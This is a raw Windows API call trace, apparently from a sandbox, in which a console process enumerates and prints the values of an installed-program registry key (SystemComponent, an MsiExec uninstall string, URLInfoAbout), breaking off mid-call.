[0148.510] GetFileType (hFile=0x50) returned 0x1 [0148.510] lstrlenW (lpString="0x7d0") returned 5 [0148.510] GetConsoleOutputCP () returned 0x1b5 [0148.510] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x7d0", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0148.510] GetConsoleOutputCP () returned 0x1b5 [0148.510] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x7d0", cchWideChar=5, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x7d0", lpUsedDefaultChar=0x0) returned 5 [0148.510] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0148.510] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.511] __iob_func () returned 0x7fefd702a80 [0148.511] _fileno (_File=0x7fefd702ab0) returned 1 [0148.511] _errno () returned 0xc4bb0 [0148.511] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.511] _errno () returned 0xc4bb0 [0148.511] GetFileType (hFile=0x50) returned 0x1 [0148.511] lstrlenW (lpString="\n") returned 1 [0148.511] GetConsoleOutputCP () returned 0x1b5 [0148.511] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.511] GetConsoleOutputCP () returned 0x1b5 [0148.511] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.511] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.511] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.511] GetProcessHeap () returned 0x2e0000 [0148.511] GetProcessHeap () returned 0x2e0000 [0148.511] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.511] GetProcessHeap () returned 0x2e0000 [0148.511] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.511] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.511] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="SystemComponent", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.511] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.511] GetProcessHeap () returned 0x2e0000 [0148.511] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.511] GetProcessHeap () returned 0x2e0000 [0148.511] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.511] GetProcessHeap () returned 0x2e0000 [0148.511] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.511] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="SystemComponent", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x1, pcbData=0x23f670*=0x4) returned 0x0 [0148.512] __iob_func () returned 0x7fefd702a80 [0148.512] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.512] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.512] _fileno (_File=0x7fefd702ab0) returned 1 [0148.512] _errno () returned 0xc4bb0 [0148.512] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.512] _errno () returned 0xc4bb0 [0148.512] GetFileType (hFile=0x50) returned 0x1 [0148.512] lstrlenW (lpString=" ") returned 4 [0148.512] GetConsoleOutputCP () returned 0x1b5 [0148.512] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.512] GetConsoleOutputCP () returned 0x1b5 [0148.512] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.512] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.512] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.512] lstrlenW (lpString="SystemComponent") returned 15 [0148.512] __iob_func () returned 0x7fefd702a80 [0148.512] _fileno (_File=0x7fefd702ab0) returned 1 [0148.512] _errno () returned 0xc4bb0 [0148.512] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.512] _errno () returned 0xc4bb0 [0148.512] GetFileType (hFile=0x50) returned 0x1 [0148.512] lstrlenW (lpString="SystemComponent") returned 15 [0148.512] GetConsoleOutputCP () returned 0x1b5 [0148.512] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0148.513] GetConsoleOutputCP () returned 0x1b5 [0148.513] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="SystemComponent", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="SystemComponent", lpUsedDefaultChar=0x0) returned 15 [0148.513] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0148.513] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.513] __iob_func () returned 0x7fefd702a80 [0148.513] _fileno (_File=0x7fefd702ab0) returned 1 [0148.513] _errno () returned 0xc4bb0 [0148.513] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.513] _errno () returned 0xc4bb0 [0148.513] GetFileType (hFile=0x50) returned 0x1 [0148.513] lstrlenW (lpString=" ") returned 4 [0148.513] GetConsoleOutputCP () returned 0x1b5 [0148.513] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.513] GetConsoleOutputCP () returned 0x1b5 [0148.513] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.513] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.513] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.513] __iob_func () returned 0x7fefd702a80 [0148.513] _fileno (_File=0x7fefd702ab0) returned 1 [0148.513] _errno () returned 0xc4bb0 [0148.513] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.513] _errno () returned 0xc4bb0 [0148.513] GetFileType (hFile=0x50) returned 0x1 [0148.514] lstrlenW (lpString="REG_DWORD") returned 9 [0148.514] GetConsoleOutputCP () returned 0x1b5 [0148.514] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0148.514] GetConsoleOutputCP () returned 0x1b5 [0148.514] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0148.514] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0148.514] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.514] __iob_func () returned 0x7fefd702a80 [0148.514] _fileno (_File=0x7fefd702ab0) returned 1 [0148.514] _errno () returned 0xc4bb0 [0148.514] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.514] _errno () returned 0xc4bb0 [0148.514] GetFileType (hFile=0x50) returned 0x1 [0148.514] lstrlenW (lpString=" ") returned 4 [0148.514] GetConsoleOutputCP () returned 0x1b5 [0148.514] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.514] GetConsoleOutputCP () returned 0x1b5 [0148.514] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.514] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.514] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.515] __iob_func () returned 0x7fefd702a80 [0148.515] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.515] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x1") returned 3 [0148.515] _fileno (_File=0x7fefd702ab0) returned 1 [0148.515] _errno () returned 0xc4bb0 [0148.515] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.515] _errno () returned 0xc4bb0 [0148.515] GetFileType (hFile=0x50) returned 0x1 [0148.515] lstrlenW (lpString="0x1") returned 3 [0148.515] GetConsoleOutputCP () returned 0x1b5 [0148.515] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0148.515] GetConsoleOutputCP () returned 0x1b5 [0148.515] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x1", cchWideChar=3, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x1", lpUsedDefaultChar=0x0) returned 3 [0148.515] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 3 [0148.515] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.515] __iob_func () returned 0x7fefd702a80 [0148.515] _fileno (_File=0x7fefd702ab0) returned 1 [0148.515] _errno () returned 0xc4bb0 [0148.515] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.515] _errno () returned 0xc4bb0 [0148.515] GetFileType (hFile=0x50) returned 0x1 [0148.515] lstrlenW (lpString="\n") returned 1 [0148.515] GetConsoleOutputCP () returned 0x1b5 [0148.515] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.516] GetConsoleOutputCP () returned 0x1b5 [0148.516] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.516] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.516] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.516] GetProcessHeap () returned 0x2e0000 [0148.516] GetProcessHeap () returned 0x2e0000 [0148.516] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.516] GetProcessHeap () returned 0x2e0000 [0148.516] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.516] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0148.516] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.516] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0148.516] GetProcessHeap () returned 0x2e0000 [0148.516] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0148.516] GetProcessHeap () returned 0x2e0000 [0148.516] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.516] GetProcessHeap () returned 0x2e0000 [0148.516] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.516] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}", pcbData=0x23f670*=0x6a) returned 0x0 [0148.516] __iob_func () returned 0x7fefd702a80 [0148.516] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.516] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.516] _fileno (_File=0x7fefd702ab0) returned 1 [0148.516] _errno () returned 0xc4bb0 [0148.516] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.516] _errno () returned 0xc4bb0 [0148.516] GetFileType (hFile=0x50) returned 0x1 [0148.516] lstrlenW (lpString=" ") returned 4 [0148.516] GetConsoleOutputCP () returned 0x1b5 [0148.517] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.517] GetConsoleOutputCP () returned 0x1b5 [0148.517] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.517] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.517] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.517] lstrlenW (lpString="UninstallString") returned 15 [0148.517] __iob_func () returned 0x7fefd702a80 [0148.517] _fileno (_File=0x7fefd702ab0) returned 1 [0148.517] _errno () returned 0xc4bb0 [0148.517] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.517] _errno () returned 0xc4bb0 [0148.517] GetFileType (hFile=0x50) returned 0x1 [0148.517] lstrlenW (lpString="UninstallString") returned 15 [0148.517] GetConsoleOutputCP () returned 0x1b5 [0148.517] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0148.517] GetConsoleOutputCP () returned 0x1b5 [0148.517] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0148.517] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0148.517] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.517] __iob_func () returned 0x7fefd702a80 [0148.517] _fileno (_File=0x7fefd702ab0) returned 1 [0148.518] _errno () returned 0xc4bb0 [0148.518] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.518] _errno () returned 0xc4bb0 [0148.518] GetFileType (hFile=0x50) returned 0x1 [0148.518] lstrlenW (lpString=" ") returned 4 [0148.518] GetConsoleOutputCP () returned 0x1b5 [0148.518] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.518] GetConsoleOutputCP () returned 0x1b5 [0148.518] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.518] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.518] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.518] __iob_func () returned 0x7fefd702a80 [0148.518] _fileno (_File=0x7fefd702ab0) returned 1 [0148.518] _errno () returned 0xc4bb0 [0148.518] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.518] _errno () returned 0xc4bb0 [0148.518] GetFileType (hFile=0x50) returned 0x1 [0148.518] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0148.518] GetConsoleOutputCP () returned 0x1b5 [0148.518] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0148.518] GetConsoleOutputCP () returned 0x1b5 [0148.518] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_EXPAND_SZ", lpUsedDefaultChar=0x0) returned 13 [0148.519] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0148.519] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.519] __iob_func () returned 0x7fefd702a80 [0148.519] _fileno (_File=0x7fefd702ab0) returned 1 [0148.519] _errno () returned 0xc4bb0 [0148.519] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.519] _errno () returned 0xc4bb0 [0148.519] GetFileType (hFile=0x50) returned 0x1 [0148.519] lstrlenW (lpString=" ") returned 4 [0148.519] GetConsoleOutputCP () returned 0x1b5 [0148.519] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.519] GetConsoleOutputCP () returned 0x1b5 [0148.519] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.519] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.519] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.519] __iob_func () returned 0x7fefd702a80 [0148.520] _fileno (_File=0x7fefd702ab0) returned 1 [0148.520] _errno () returned 0xc4bb0 [0148.520] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.520] _errno () returned 0xc4bb0 [0148.520] GetFileType (hFile=0x50) returned 0x1 [0148.520] lstrlenW (lpString="MsiExec.exe /X{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}") returned 52 [0148.520] GetConsoleOutputCP () returned 0x1b5 [0148.520] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}", cchWideChar=52, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 52 [0148.520] GetConsoleOutputCP () returned 0x1b5 [0148.520] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="MsiExec.exe /X{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}", cchWideChar=52, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MsiExec.exe /X{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}", lpUsedDefaultChar=0x0) returned 52 [0148.520] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 52 [0148.520] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.520] __iob_func () returned 0x7fefd702a80 [0148.520] _fileno (_File=0x7fefd702ab0) returned 1 [0148.520] _errno () returned 0xc4bb0 [0148.520] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.520] _errno () returned 0xc4bb0 [0148.520] GetFileType (hFile=0x50) returned 0x1 [0148.520] lstrlenW (lpString="\n") returned 1 [0148.520] GetConsoleOutputCP () returned 0x1b5 [0148.521] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0148.521] GetConsoleOutputCP () returned 0x1b5 [0148.521] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0148.521] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0148.521] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.521] GetProcessHeap () returned 0x2e0000 [0148.521] GetProcessHeap () returned 0x2e0000 [0148.521] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0148.521] GetProcessHeap () returned 0x2e0000 [0148.521] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0148.521] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0 | out: hHeap=0x2e0000) returned 1 [0148.521] RegEnumValueW (in: hKey=0x5c, dwIndex=0x11, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="URLInfoAbout", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0148.521] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0148.521] GetProcessHeap () returned 0x2e0000 [0148.521] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0148.521] GetProcessHeap () returned 0x2e0000 [0148.521] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0148.521] GetProcessHeap () returned 0x2e0000 [0148.521] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0148.521] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="URLInfoAbout", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0148.521] __iob_func () returned 0x7fefd702a80 [0148.521] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0148.521] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0148.521] _fileno (_File=0x7fefd702ab0) returned 1 [0148.521] _errno () returned 0xc4bb0 [0148.521] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.521] _errno () returned 0xc4bb0 [0148.521] GetFileType (hFile=0x50) returned 0x1 [0148.521] lstrlenW (lpString=" ") returned 4 [0148.522] GetConsoleOutputCP () returned 0x1b5 [0148.522] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0148.522] GetConsoleOutputCP () returned 0x1b5 [0148.522] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0148.522] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0148.522] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0148.522] lstrlenW (lpString="URLInfoAbout") returned 12 [0148.522] __iob_func () returned 0x7fefd702a80 [0148.522] _fileno (_File=0x7fefd702ab0) returned 1 [0148.522] _errno () returned 0xc4bb0 [0148.522] _get_osfhandle (_FileHandle=1) returned 0x50 [0148.522] _errno () returned 0xc4bb0 [0148.522] GetFileType (hFile=0x50) returned 0x1 [0148.522] lstrlenW (lpString="URLInfoAbout") returned 12 [0148.522] GetConsoleOutputCP () returned 0x1b5 [0148.522] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="URLInfoAbout", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, 